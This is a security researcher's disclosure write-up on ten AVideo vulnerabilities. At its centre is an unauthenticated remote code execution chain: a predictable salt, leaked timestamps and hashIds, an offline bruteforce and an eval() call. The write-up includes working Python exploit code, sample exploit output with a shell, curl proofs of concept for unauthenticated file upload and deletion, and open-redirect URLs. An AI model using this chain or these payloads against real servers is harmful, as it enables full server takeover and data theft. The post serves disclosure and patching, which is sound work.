From Zero to Shell: Hunting Critical Vulnerabilities in AVideo
Table of Contents
Introduction
This is an excellent case study in vulnerability research - from discovery to exploitation to patch verification.
AVideo is an open-source video streaming platform used by thousands of organizations worldwide. During a security audit, I achieved full server compromise in seconds, without any credentials.
The attack chain:
- Leak installation timestamp from public API (first 8 hex chars of encryption salt)
- Leak encrypted video ID from another API endpoint
- Offline bruteforce the remaining 5 hex chars (~1M possibilities, 3-5 seconds)
- Forge encrypted payload, trigger
eval(), game over
Result: Unauthenticated RCE on every AVideo instance from 14.3.1 through 20.0.
Why this is a textbook case:
- Chained exploitation: Multiple weaknesses (predictable salt, timestamp leak, hashId oracle, legacy fallback,
eval()) combined into one critical RCE - Cryptographic failure: Predictable
uniqid()salt + fallback mechanism = bypassed encryption - Patch verification matters: The vendor claimed “all vulnerabilities resolved” in v20. After reviewing every commit, the
eval()was untouched, the fallback was rewritten (not removed), and the hashId oracle remained. The RCE still works. - Incomplete fixes are dangerous: A commit titled “Fix critical unauthenticated RCE” that doesn’t modify the file containing the RCE.
This post covers 10 vulnerabilities: the RCE chain, multiple IDORs, open redirects, information disclosure, and a detailed analysis of the vendor’s incomplete patches.
Note: This is my second RCE in AVideo. In 2024, I discovered CVE-2024-31819
- a straightforward unauthenticated RCE via user-controlled require() path, exploited using Synacktiv’s php_filter_chain_generator
. That one was a classic LFI-to-RCE. This time, I wanted to push further: a full cryptographic attack chain requiring offline bruteforce, timestamp correlation, and encryption oracle abuse. Different league.
Target: AVideo (https://github.com/WWBN/AVideo
)
Version Tested: 18.1, 20.0
Date: December 2025
The Crown Jewel: Unauthenticated RCE via Cryptographic Weakness
CVE ID: CVE-2025-34433
Severity: Critical (CVSS v4.0: 10.0)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Authentication: None required
Time to exploit: Seconds
Affected Versions: 14.3.1+
First Vulnerable Release: 14.3.1 (released January 29, 2025)
This vulnerability chains together five separate weaknesses to achieve complete server compromise without any authentication.
Timeline:
- January 7, 2025: Vulnerable code added in commit 48b97ad126
(“Improve FFMPEG external”) - introduced the
eval()vulnerability innotify.ffmpeg.json.php - January 29, 2025: Version 14.3.1 released - first public release containing the vulnerability
- The legacy salt fallback mechanism was added on January 16, 2024 (commit fec5533b7c )
- The predictable
uniqid()salt generation dates back to May 12, 2018 (commit aa71ce0cbc )
Vulnerable versions: 14.3.1, 14.4, 18.0, 18.1, 20.0
Version 20.0 (December 2025): Despite the vendor’s claims, core vulnerabilities remain:
eval()untouched innotify.ffmpeg.json.php- Legacy salt fallback active in
encrypt_decrypt() hashIdoracle uses predictable salt (md5($global['salt']))- Timestamp exposed via
/objects/categories.json.php - System path bruteforceable (
/var/www/html/AVideo/,/var/www/AVideo/)
The partial fixes (PII removal, path sanitization) do not prevent exploitation.
Our Proposed Fix: The Pull Request submitted on December 16 addresses all three vulnerabilities (eval(), legacy salt fallback, and hashId oracle).
Part 1: The Fallback Mechanism
While auditing AVideo’s encryption functions in objects/functions.php, I found this critical function:
function encrypt_decrypt($string, $action, $useOldSalt = false)
{
global $global;
$encrypt_method = "AES-256-CBC";
// IV is derived from systemRootPath (leaked via API!)
$secret_iv = $global['systemRootPath'];
while (strlen($secret_iv) < 16) {
$secret_iv .= $global['systemRootPath'];
}
// Choose which salt to use
if ($useOldSalt) {
$salt = $global['salt']; // OLD salt (uniqid - WEAK!)
} else {
$salt = empty($global['saltV2']) ? $global['salt'] : $global['saltV2']; // NEW salt
}
$key = hash('sha256', $salt);
$iv = substr(hash('sha256', $secret_iv), 0, 16);
if ($action == 'decrypt') {
$output = openssl_decrypt(base64_decode($string), $encrypt_method, $key, 0, $iv);
// CRITICAL: If decryption fails, retry with OLD salt!
if (empty($output) && $useOldSalt === false) {
return encrypt_decrypt($string, $action, true); // Recursive call with old salt
}
}
return $output;
}
Even with saltV2 in place, the system always accepts payloads encrypted with the old predictable salt.
Part 2: How the Salts Are Generated
During installation, AVideo generates two different salts:
// OLD SALT (predictable) - generated with uniqid()
$global['salt'] = uniqid(); // e.g., "5f60d795bbc1e"
// NEW SALT (secure) - generated with _uniqid()
$global['saltV2'] = _uniqid(); // e.g., "58449583b2534a488b54aeaf1d471666"
_uniqid() uses random_bytes() (128 bits of entropy). But the OLD salt uses PHP’s uniqid() which is predictable:
// PHP's uniqid() internally does:
// sprintf("%08x%05x", time(), microseconds)
// Example: "5f60d795" + "bbc1e" = "5f60d795bbc1e"
Structure of uniqid():
- Chars 1-8: Unix timestamp in hexadecimal (publicly leakable!)
- Chars 9-13: Microseconds (0x00000 to 0xFFFFF = 1,048,576 possibilities)
Part 3: Leaking the Timestamp
The installation timestamp is publicly exposed via /objects/categories.json.php. During installation, AVideo creates a default category, and its created timestamp is the exact moment of installation:
$ curl -s "https://target.com/objects/categories.json.php" | \
jq '[.rows[] | {id: .id|tonumber, created}] | min_by(.id)'
{
"id": 1,
"created": "2020-09-15 15:02:45"
}
Converting this to Unix timestamp and then to hex:
from datetime import datetime
dt = datetime.strptime("2020-09-15 15:02:45", "%Y-%m-%d %H:%M:%S")
timestamp = int(dt.timestamp()) # 1600182165
hex_timestamp = hex(timestamp)[2:] # "5f60d795"
We now have the first 8 characters of the salt!
The Timezone Trap
There’s a subtle catch: the date stored in the database depends on MySQL’s timezone, but uniqid() uses the system’s Unix timestamp. If the server has mismatched timezones (common in misconfigured environments), the conversion can be off by hours.
$ curl -s "https://target.com/objects/getTimes.json.php" | jq '{sys: ._serverSystemTimezone, db: ._serverDBTimezone}'
{
"sys": "America/Denver", # PHP system timezone (UTC-6)
"db": "America/Los_Angeles" # MySQL timezone (UTC-7)
}
The same date 2025-05-21 09:10:14 represents different Unix timestamps depending on which timezone you interpret it in:
09:10:14 in America/Denver (UTC-6) = 0x682decd6
09:10:14 in America/Los_Angeles (UTC-7) = 0x682dfae6
Solution: The exploit tries both timezones as candidates, doubling the bruteforce space but ensuring we find the salt regardless of server misconfiguration.
Part 4: The hashId Oracle (Offline Bruteforce)
Online bruteforce would be too slow and detectable. I needed a local oracle.
The video API exposes a hashId for every video:
$ curl -s "https://target.com/plugin/API/get.json.php?APIName=video" | \
jq '.response.rows[0] | {id, hashId}'
{
"id": 4260,
"hashId": "US0nXtMIvklM0MC8yrU58g"
}
This hashId is computed by the idToHash() function in objects/functions.php:
function idToHash($id)
{
$MethodsAndInfo = getHashMethodsAndInfo();
$cipher_algo = $MethodsAndInfo['cipher_algo']; // Usually AES-128-CBC or RC4
$iv = $MethodsAndInfo['iv'];
$key = $MethodsAndInfo['key'];
$base = $MethodsAndInfo['base']; // 32
// Convert ID to base32
$idConverted = base_convert($id, 10, $base); // 4260 -> "454"
// Encrypt
$hash = openssl_encrypt($idConverted, $cipher_algo, $key, 0, $iv);
// Clean up for URL safety
$hash = preg_replace('/(=+)$/', '', $hash);
$hash = str_replace(['/', '+', '='], ['_', '-', '.'], $hash);
return $hash;
}
function getHashMethodsAndInfo()
{
global $global;
$saltMD5 = md5($global['salt']); // Key/IV derived from OLD salt!
$cipher_algo = 'rc4'; // or AES-128-CBC depending on OpenSSL config
$ivlen = openssl_cipher_iv_length($cipher_algo);
$keylen = openssl_cipher_key_length($cipher_algo);
$iv = substr($saltMD5, 0, $ivlen);
$key = substr($saltMD5, 0, $keylen);
return ['cipher_algo' => $cipher_algo, 'iv' => $iv, 'key' => $key, 'base' => 32];
}
Key insight: hashId uses md5($global['salt']). I can verify candidates locally:
- Generate candidate:
timestamp_hex + microseconds_hex - Derive key/IV from
md5(candidate) - Encrypt video ID, compare with leaked hashId
Match = salt found.
Part 5: The Offline Bruteforce
The math is simple:
- Known: 8 hex chars (timestamp)
- Unknown: 5 hex chars (microseconds)
- Total possibilities: 16^5 = 1,048,576
- Encryption operations/second: ~200,000+ on modern CPU (cipher varies: AES-128-CBC or RC4)
def base_convert(num, from_base, to_base):
"""Convert number between bases (like PHP's base_convert)."""
digits = "0123456789abcdefghijklmnopqrstuvwxyz"
if from_base != 10:
num = int(str(num), from_base)
result = ""
while num > 0:
result = digits[num % to_base] + result
num //= to_base
return result or "0"
def compute_hashid(video_id: int, salt: str) -> str:
"""Replicate AVideo's idToHash() function."""
salt_md5 = hashlib.md5(salt.encode()).hexdigest()
key = salt_md5[:16].encode()
iv = salt_md5[:16].encode()
# Convert ID to base32 (AVideo style)
id_b32 = base_convert(video_id, 10, 32)
# AES-128-CBC encrypt (note: hashId uses AES-128, payload encryption uses AES-256)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(id_b32.encode(), 16))
# Base64 encode and URL-safe transform
b64 = base64.b64encode(encrypted).decode()
return b64.rstrip('=').replace('/', '_').replace('+', '-')
# Bruteforce
timestamp_hex = "5f60d795" # From categories API
target_id = 4260
target_hash = "US0nXtMIvklM0MC8yrU58g"
for micro in range(0x100000): # 0 to 1,048,575
candidate = f"{timestamp_hex}{micro:05x}"
if compute_hashid(target_id, candidate) == target_hash:
print(f"SALT FOUND: {candidate}")
break
Result: Salt recovered in seconds.
Part 6: Leaking the System Root Path
The encrypt_decrypt() function uses $global['systemRootPath'] as the IV. We need this to forge valid encrypted payloads.
In v18.1 and earlier, this path is leaked via posterPortraitPath:
$ curl -s "https://target.com/plugin/API/get.json.php?APIName=video" | \
jq '.response.rows[0].images.posterPortraitPath'
"/var/www/html/AVideo/videos/video_xxx/video_xxx_portrait.jpg"
We extract: /var/www/html/AVideo/
In v20.0, this field was removed. However, common paths are easily bruteforceable: /var/www/html/AVideo/, /var/www/AVideo/, /var/www/html/. Only a few attempts needed.
Part 7: The RCE Trigger
With the salt and system path recovered, I can now forge encrypted payloads. In plugin/API/notify.ffmpeg.json.php:
<?php
require_once $configFile;
// Validate notifyCode (encrypted token)
$notifyCode = decryptString($_REQUEST['notifyCode']);
if (empty($notifyCode)) {
forbiddenPage('Invalid notifyCode');
}
// ... video processing logic ...
// THE VULNERABILITY: eval() on decrypted user input!
$callback = decryptString($_REQUEST['callback']);
if(!empty($callback)){
_error_log("notify.ffmpeg: eval callback $callback");
eval($callback); // GAME OVER
}
The callback is decrypted (fallback to OLD salt) and passed to eval().
Intended purpose: Execute code after FFmpeg processing (metadata updates, notifications).
Part 8: Forging the RCE Payload
To exploit this, I need to encrypt my payload using the OLD salt:
def encrypt_payload(payload: str, salt: str, system_root: str) -> str:
"""Encrypt payload using AVideo's encrypt_decrypt() algorithm."""
# Key derivation (same as PHP)
key = hashlib.sha256(salt.encode()).hexdigest()[:32].encode()
# IV derivation from system root path
iv = hashlib.sha256(system_root.encode()).hexdigest()[:16].encode()
# AES-256-CBC encrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(payload.encode(), 16))
# Double base64: openssl_encrypt with flags=0 returns base64, then base64_encode() again
return base64.b64encode(base64.b64encode(encrypted)).decode()
# Craft RCE payload
salt = "5f60d795bbc1e" # Recovered salt
system_root = "/var/www/html/AVideo/"
rce_payload = 'echo shell_exec("id");'
encrypted_callback = encrypt_payload(rce_payload, salt, system_root)
encrypted_notifycode = encrypt_payload("valid", salt, system_root)
# Send exploit
requests.get(f"{target}/plugin/API/notify.ffmpeg.json.php", params={
"notifyCode": encrypted_notifycode,
"notify": '{"avideoPath":"lori.mp4","avideoRelativePath":"lori.mp4","avideoFilename":"lori"}',
"callback": encrypted_callback
})
Part 9: Full Exploit in Action
$ python avideo_rce_salt_leak.py https://target.com
[*] Target: https://target.com
[+] Getting system root path: /var/www/html/AVideo/
[+] Getting installation timestamp: 2020-09-15 15:02:45 (UTC) -> 5f60d795
[+] Getting video hashId: ID=4260, hashId=US0nXtMIvklM0MC8yrU58g
[+] Bruteforcing salt OFFLINE: 5f60d795bbc1e (found in 4.49s)
[*] Testing RCE...
[+] RCE works! uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] Interactive shell - type 'exit' to quit
$ whoami
www-data
$ cat /var/www/html/AVideo/videos/configuration.php | grep salt
$global['salt'] = '5f60d795bbc1e';
$global['saltV2'] = '58449583b2534a48...';
$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1234 Dec 14 00:00 /etc/passwd
Zero to shell, no credentials required.
Summary of the RCE Chain
| Step | Action | Data Leaked |
|---|---|---|
| 1 | GET /objects/categories.json.php |
Installation timestamp (8 hex chars) |
| 2 | GET /plugin/API/get.json.php?APIName=video |
Video ID + hashId (+ system root path in v18) |
| 3 | Offline bruteforce | Full 13-char salt |
| 4 | Encrypt RCE payload with salt | Valid callback parameter |
| 5 | GET /plugin/API/notify.ffmpeg.json.php |
RCE via eval() |
Other Vulnerabilities Found
Beyond the RCE, I discovered several other critical and high-severity vulnerabilities.
Unauthenticated File Upload/Delete - ImageGallery (High)
CVE ID: CVE-2025-34434
Severity: High (CVSS v4.0: 8.3)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Files: plugin/ImageGallery/upload.json.php, plugin/ImageGallery/delete.json.php
Requires: ImageGallery plugin enabled, target video must be type=“image”
The ImageGallery plugin endpoints are completely missing authentication checks:
// plugin/ImageGallery/upload.json.php - NO User::isLogged() CHECK!
$videos_id = getVideos_id();
ImageGallery::dieIfIsInvalid($videos_id); // Only verifies video type='image', NOT authentication!
$obj->saveFile = ImageGallery::saveFile($_FILES['upl'], $videos_id);
PoC - Upload without authentication:
curl "http://target/plugin/ImageGallery/upload.json.php" \
-F "videos_id=13" \
-F "upl=@malicious.jpg"
# Returns: {"error":false,"list":[{"base":"abc123.jpg"}]}
PoC - Delete without authentication:
curl "http://target/plugin/ImageGallery/delete.json.php" \
-d "videos_id=13" \
-d "filename=victim_file.jpg"
# Returns: {"error":false,"delete":true}
Open Redirects (Medium)
CVE IDs: CVE-2025-34439 (cancelUri), CVE-2025-34440 (siteRedirectUri)
Severity: Medium (CVSS v4.0: 5.1)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
File 1: view/userLogin.php:165
<a href="<?php echo $_REQUEST['cancelUri']; ?>" class="btn btn-link btn-block">
File 2: view/userSignUpBody.php:314
echo "window.location.href = '{$siteRedirectUri}';";
Both parameters are user-controlled with no domain validation.
PoC:
https://target.com/user?cancelUri=https://evil.com
https://target.com/signUp?siteRedirectUri=https://evil.com
Multiple IDOR Vulnerabilities
CVE IDs: CVE-2025-34435 (File Delete), CVE-2025-34436 (File Upload), CVE-2025-34437 (Comment Upload), CVE-2025-34438 (Rotation)
All these endpoints accept a videos_id parameter without verifying ownership:
1. Arbitrary File Delete (CVE-2025-34435) - view/list-images.delete.json.php
Severity: High (CVSS v4.0: 7.1)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
$relativeDir = Video::getVideoLibRelativePath($_REQUEST['videos_id']);
// NO Video::canEdit() check!
unlink($relativeDir . '/' . $_REQUEST['name']);
2. Arbitrary File Upload (CVE-2025-34436) - view/list-images.upload.json.php
Severity: High (CVSS v4.0: 7.1)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:L/SI:L/SA:N
if (!empty($_REQUEST['videos_id'])) {
$relativeDir = Video::getVideoLibRelativePath($_REQUEST['videos_id']);
}
// User can upload to ANY video's directory!
3. Arbitrary Comment Image Upload (CVE-2025-34437) - view/mini-upload-form/imageUpload.json.php
Severity: Medium (CVSS v4.0: 5.3)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
$videoId = intval($_POST['videos_id']);
// NO ownership check - any user can upload comment images to any video!
4. Arbitrary Video Rotation (CVE-2025-34438) - objects/videoRotate.json.php
Severity: Medium (CVSS v4.0: 5.3)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
if (!User::canUpload()) { // Checks upload permission, NOT ownership!
die('{"error":"Permission denied"}');
}
$obj = new Video("", "", $_POST['id']);
$obj->setRotation($newRotation); // Can rotate ANY video
PoC - Delete another user’s file:
# Login as attacker
curl -c cookies.txt "http://target/objects/login.json.php" \
-d "user=attacker&pass=password"
# Delete admin's file (video ID 1)
curl -b cookies.txt "http://target/view/list-images.delete.json.php" \
-d "videos_id=1" \
-d "name=admin_image.jpg"
Information Disclosure - User Data via API (Medium)
CVE ID: CVE-2025-34441
Severity: Medium (CVSS v4.0: 6.9)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
File: plugin/API/get.json.php
The public video API exposes sensitive user information without authentication:
$ curl -s "https://target.com/plugin/API/get.json.php?APIName=video" | \
jq '.response.rows[0] | {email, user, isAdmin, lastLogin}'
{
"email": "admin@target.com",
"user": "admin",
"isAdmin": 1,
"lastLogin": "2025-12-13 23:28:34"
}
Impact:
- Email harvesting for spam/phishing
- Admin account identification (
isAdmin: 1) - User activity tracking via
lastLogin - Username enumeration for brute-force attacks
Information Disclosure - System Path Leak (Medium)
CVE ID: CVE-2025-34442
Severity: Medium (CVSS v4.0: 6.9)
CVSS Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Root cause: Video::getSourceFile() in objects/video.php
// objects/video.php - getSourceFile()
return [
'path' => "{$paths['path']}{$filename}{$type}", // Absolute path leaked!
'url' => "..."
];
This path is exposed via posterPortraitPath and posterLandscapePath:
$ curl -s "https://target.com/plugin/API/get.json.php?APIName=video" | \
jq '.response.rows[0].images.posterPortraitPath'
"/var/www/html/AVideo/videos/video_xxx/video_xxx_portrait.jpg"
Affected endpoints: /plugin/API/get.json.php, /objects/videosAndroid.json.php, /view/info.php
This leak is critical for the RCE chain in v18.1 - the system path is used as the encryption IV. In v20.0, this field was removed but the path is easily bruteforceable.
The Ghost Feature: Video Rotation That Never Was
While investigating the rotation IDOR, I noticed something strange: the rotation values were being saved to the database, but videos weren’t actually rotating on the frontend.
I dug into the code and found this in view/videoEmbeded.php:
/*
* Swap aspect ratio for rotated (vvs) videos
* This is currently disabled but kept for reference
if ($video['rotation'] === "90" || $video['rotation'] === "270") {
$embedResponsiveClass = "embed-responsive-9by16";
$vjsClass = "vjs-9-16";
} else {
$embedResponsiveClass = "embed-responsive-16by9";
$vjsClass = "vjs-16-9";
} */
The entire rotation feature is commented out. The database column exists. The API endpoint exists. The CSS exists. But the PHP code that ties them together is commented out with the note: “This is currently disabled but kept for reference”.
The code was never active - the file was created with the rotation code already commented out.
Summary
| # | CVE ID | Vulnerability | Auth | CVSS v4.0 | Severity |
|---|---|---|---|---|---|
| 1 | CVE-2025-34433 | Unauth RCE (Predictable Salt) | None | 10.0 | Critical |
| 2 | CVE-2025-34434 | Unauth Upload/Delete (ImageGallery) | None | 8.3 | High |
| 3 | CVE-2025-34435 | IDOR File Delete | User | 7.1 | High |
| 4 | CVE-2025-34436 | IDOR File Upload | User | 7.1 | High |
| 5 | CVE-2025-34441 | Info Disclosure (User Data) | None | 6.9 | Medium |
| 6 | CVE-2025-34442 | Info Disclosure (System Path) | None | 6.9 | Medium |
| 7 | CVE-2025-34437 | IDOR Comment Upload | User | 5.3 | Medium |
| 8 | CVE-2025-34438 | IDOR Rotation | User | 5.3 | Medium |
| 9 | CVE-2025-34439 | Open Redirect (cancelUri) | None | 5.1 | Medium |
| 10 | CVE-2025-34440 | Open Redirect (siteRedirectUri) | None | 5.1 | Medium |
Note: CVSS v4.0 scores calculated using the official FIRST.org calculator .
Key Takeaways
- Never use predictable values for cryptographic secrets -
uniqid()is NOT a CSPRNG - Fallback mechanisms can be exploited - if you support legacy encryption, you inherit legacy weaknesses
- Public APIs can leak critical information - timestamps, hashes, and file paths can all be weaponized
- Offline attacks are devastating - once an attacker can verify guesses locally, network rate-limiting is useless
Patch Handling & Verification
Following the vendor’s response on December 16, 2025, claiming that all vulnerabilities had been resolved in AVideo version 20, a comprehensive verification of the codebase was performed by reviewing all security-related commits.
Commits Analysis
The vendor released multiple commits addressing the reported vulnerabilities:
- 3905f03df0 - “Fix critical unauthenticated RCE vulnerability” (modified encrypt_decrypt, saltV2 already existed)
- 275a54268b - “Add authentication and ownership checks to ImageGallery endpoints”
- 88bc40427b - “Prevent open redirect through cancelUri in login flow”
- 77c70019b0 - “Block external redirects via siteRedirectUri on signup”
- c279999cbd - “Enforce authorization for list-images.delete and prevent traversal”
- d411f91805 - “Restrict list-images upload to authorized video owners”
- c2feaf25cb - “Enforce per-video authorization for rotation updates”
- 1416c517e2 - “Remove PII/admin metadata from public video API responses”
- dbe3e91c54 - “Remove filesystem path exposure from Video::getSourceFile and public APIs”
- 4a53ab2056 - “Security hardening: resolve reported vulnerabilities (AVideo v20)” (version bump only, no security code)
What Was Actually Fixed
ImageGallery Authentication (275a54268b
): Authentication checks were properly added to upload.json.php and delete.json.php
IDOR Vulnerabilities (c279999cbd , d411f91805 , c2feaf25cb ): Authorization checks were added to:
view/list-images.delete.json.php- AddedVideo::canEdit()checkview/list-images.upload.json.php- Added authorization checkview/mini-upload-form/imageUpload.json.php- Added authorization checkobjects/videoRotate.json.php- Added ownership verification
Open Redirects (88bc40427b
, 77c70019b0
): URL validation was implemented for cancelUri and siteRedirectUri parameters
Information Disclosure (1416c517e2 , dbe3e91c54 ):
- PII removal from public APIs
- Filesystem path exposure removed from
Video::getSourceFile()and API responses
Salt Handling (3905f03df0
): Modified encrypt_decrypt() function (saltV2 already existed)
What Was NOT Fixed
Critical RCE - eval() Untouched: Despite claims that “all eval()-based execution paths” were eliminated, the vulnerable code remains at line 94:
$callback = decryptString($_REQUEST['callback']);
if(!empty($callback)){
_error_log("notify.ffmpeg: eval callback $callback");
eval($callback); // STILL VULNERABLE
}
Commit 3905f03df0 titled “Fix critical unauthenticated RCE vulnerability” modifies only these 3 files:
objects/functions.phpobjects/functionsSecurity.phpobjects/include_config.php
The file containing the eval() (plugin/API/notify.ffmpeg.json.php) was never modified in any security commit.
Legacy Decryption Fallback Active: The vendor claimed to have “removed legacy decryption fallback logic”, but it remains in objects/functions.php:
// If decryption fails with saltV2, try with old salt for backward compatibility
if (($output === false || $output === '') && !empty($global['salt']) && $salt !== $global['salt']) {
_error_log("encrypt_decrypt: Failed with saltV2, trying old salt for backward compatibility");
$oldKey = hash('sha256', $global['salt']);
$output = openssl_decrypt($decoded_string, $encrypt_method, $oldKey, 0, $iv);
}
The irony: This fallback code was actually rewritten (not removed) in commit 3905f03df0 titled “Fix critical unauthenticated RCE vulnerability”. The commit added the comment “try with old salt for backward compatibility” while claiming to fix the RCE.
Why it’s unnecessary: All encrypted data in AVideo is ephemeral (tokens, callbacks generated on-the-fly). Nothing is stored long-term. There is no “old encrypted data” to maintain compatibility with.
hashId Oracle Unchanged: The getHashMethodsAndInfo() function was never modified and still uses md5($global['salt']) instead of saltV2:
function getHashMethodsAndInfo() {
// ...
$saltMD5 = md5($global['salt']); // Still uses predictable salt!
This allows offline bruteforce of the salt via the public hashId leak.
Impact Assessment
What was fixed: IDOR, open redirects, partial information disclosure.
What remains exploitable in v20:
eval()innotify.ffmpeg.json.php(line 94)- Legacy salt fallback in
encrypt_decrypt() hashIdoracle for offline bruteforce- Installation timestamp leak
- System path bruteforceable
The RCE chain works on the latest release.
Recommended Secure Fix
Problem: eval() on user input + legacy salt fallback.
Solution:
-
Replace
eval()with JSON whitelist: Parse callback as JSON, validate action against whitelist (updateVideoStatus,triggerPluginHook,updateVideoMetadata,logEvent), execute via handlers. -
Remove legacy salt fallback: All encrypted data is ephemeral. No backward compatibility needed.
-
Fix hashId oracle: Use
saltV2ingetHashMethodsAndInfo(). No migration needed sincehashIdis computed on-the-fly.
Before/After:
// VULNERABLE: eval() RCE
$callback = decryptString($_REQUEST['callback']);
eval($callback); // RCE!
// SECURE: Whitelist-based handlers
$callback = decryptString($_REQUEST['callback']);
$data = json_decode($callback, true);
if (in_array($data['action'], $whitelist)) {
executeHandler($data['action'], $data['params']);
}
// VULNERABLE: hashId oracle
$saltMD5 = md5($global['salt']); // Uses predictable salt
// SECURE: Use saltV2
$activeSalt = !empty($global['saltV2']) ? $global['saltV2'] : $global['salt'];
$saltMD5 = md5($activeSalt); // Uses secure salt
This blocks the RCE, the legacy salt fallback, and the hashId bruteforce oracle.
Verified: hashId uses saltV2, old salt rejected, RCE payloads blocked, valid actions work. 23/23 tests passed.
Timeline (Responsible Disclosure)
- December 13, 2025: Vulnerabilities discovered
- December 14, 2025: Vulnerabilities reported to vendor (developer@streamphp.com ) and VulnCheck for CVE assignment
- December 15, 2025: VulnCheck reserved 10 CVE IDs. VulnCheck and vendor discussed directly. Vendor patched rapidly (CVE IDs not in commits). 120-day disclosure deadline: April 14, 2026.
- December 16, 2025 (Morning): Vendor claimed all issues resolved in v20. Verification:
| Category | Status | Details |
|---|---|---|
| IDOR | ✓ Fixed | Added authorization checks |
| Open Redirects | ✓ Fixed | URL validation added |
| Info Disclosure | ⚠ Partial | Paths removed, hashId + timestamp exposed |
RCE (eval()) |
✗ Not Fixed | Line 94 untouched |
| Salt Fallback | ✗ Not Fixed | Old salt still accepted |
- December 16, 2025 (Afternoon): Submitted Pull Request #10284 to AVideo proposing an architectural fix. Notified VulnCheck about incomplete fixes.
- December 16, 2025: VulnCheck published CVEs CVE-2025-34434 through CVE-2025-34442 (all fixed vulnerabilities). CVE-2025-34433 (RCE) remains unfixed and was not published.
- December 19, 2026: Public disclosure, and CVE-2025-34433 fixed.
A Note on Methodology
I conducted this research using Cursor , an AI-powered code editor. I’m not hiding it - the AI agent helped significantly with codebase exploration, pattern recognition, exploit development, and documentation. It accelerated the tedious parts (grepping through 7000+ line files, cross-referencing commits, verifying calculations) while I focused on the creative work: identifying the vulnerability chain, understanding the cryptographic weakness, and designing the exploitation strategy.
The difference between effective AI-assisted research and blindly trusting AI output? Testing everything. Every claim, every code snippet, every calculation was verified against the actual codebase. The fix verification section demonstrates why this matters - claimed fixes need to be checked line by line.
AI is a tool. The human still needs to understand what they’re doing.
Catastrophic exploits are rarely a single bug. A predictable salt, helpful APIs, a fallback mechanism, and an eval() - defensible in isolation, devastating together.